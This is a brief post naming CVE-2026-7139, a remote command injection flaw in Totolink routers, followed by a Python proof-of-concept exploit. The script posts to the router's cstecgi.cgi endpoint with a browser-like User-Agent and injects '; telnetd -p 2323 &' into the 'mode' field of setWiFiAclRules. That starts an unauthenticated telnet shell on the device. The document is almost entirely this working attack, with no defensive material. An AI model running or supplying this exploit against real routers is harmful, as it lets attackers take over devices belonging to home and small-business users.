CVE-2026-7139 Totolink路由器远程命令注入漏洞

import requests def exploit(target_ip): # Target URL for the vulnerable CGI script url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Headers to mimic a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload targeting the 'mode' parameter in setWiFiAclRules # This payload attempts to start a telnet service on port 2323 payload = { "function": "setWiFiAclRules", "mode": "; telnetd -p 2323 &" } try: # Sending the POST request to trigger the command injection response = requests.post(url, data=payload, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Payload sent to {target_ip}. Check if telnet is running on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with the target IP address exploit(target)